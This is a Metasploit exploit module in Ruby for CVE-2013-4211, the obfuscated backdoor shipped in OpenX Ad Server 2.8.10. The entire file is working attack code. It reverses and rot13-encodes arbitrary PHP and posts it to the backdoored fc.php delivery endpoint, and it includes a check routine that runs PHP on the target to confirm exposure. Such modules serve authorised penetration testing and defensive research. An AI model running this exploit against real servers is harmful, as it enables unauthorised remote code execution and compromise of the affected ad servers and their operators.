OpenX Backdoor PHP Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'OpenX Backdoor PHP Code Execution',  
'Description' => %q{  
OpenX Ad Server version 2.8.10 was shipped with an obfuscated  
backdoor since at least November 2012 through August 2013.  
Exploitation is simple, requiring only a single request with a  
rot13'd and reversed payload.  
},  
'Author' =>  
[  
'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software  
'Unknown', # Someone planted this backdoor...  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2013-4211' ],  
[ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],  
[ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
# Arbitrary big number. The payload gets sent as POST data, so  
# really it's unlimited  
'Space' => 262144, # 256k  
},  
'DisclosureDate' => 'Aug 07 2013',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Generic (PHP payload)', { }]],  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),  
], self.class)  
end  
  
def check  
token = rand_text_alpha(20)  
response = execute_php("echo '#{token} '.phpversion();die();")  
  
if response.nil?  
CheckCode::Unknown  
elsif response.body =~ /#{token} ((:?\d\.?)+)/  
print_status("PHP Version #{$1}")  
return CheckCode::Vulnerable  
end  
return CheckCode::Safe  
end  
  
def exploit  
execute_php(payload.encoded)  
  
handler  
end  
  
def execute_php(php_code)  
money = rot13(php_code.reverse)  
begin  
response = send_request_cgi( {  
'method' => "POST",  
'global' => true,  
'uri' => normalize_uri(target_uri.path,"www","delivery","fc.php"),  
'vars_get' => {  
'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",  
'script' => 'deliveryLog:vastServeVideoPlayer:player'  
},  
'vars_post' => {  
'vastPlayer' => money  
},  
}, 0.1)  
rescue ::Rex::ConnectionError => e  
fail_with(Failure::Unreachable, e.message)  
rescue ::OpenSSL::SSL::SSLError  
fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")  
end  
  
response  
end  
  
def rot13(str)  
str.tr! "A-Za-z", "N-ZA-Mn-za-m"  
end  
  
end  
`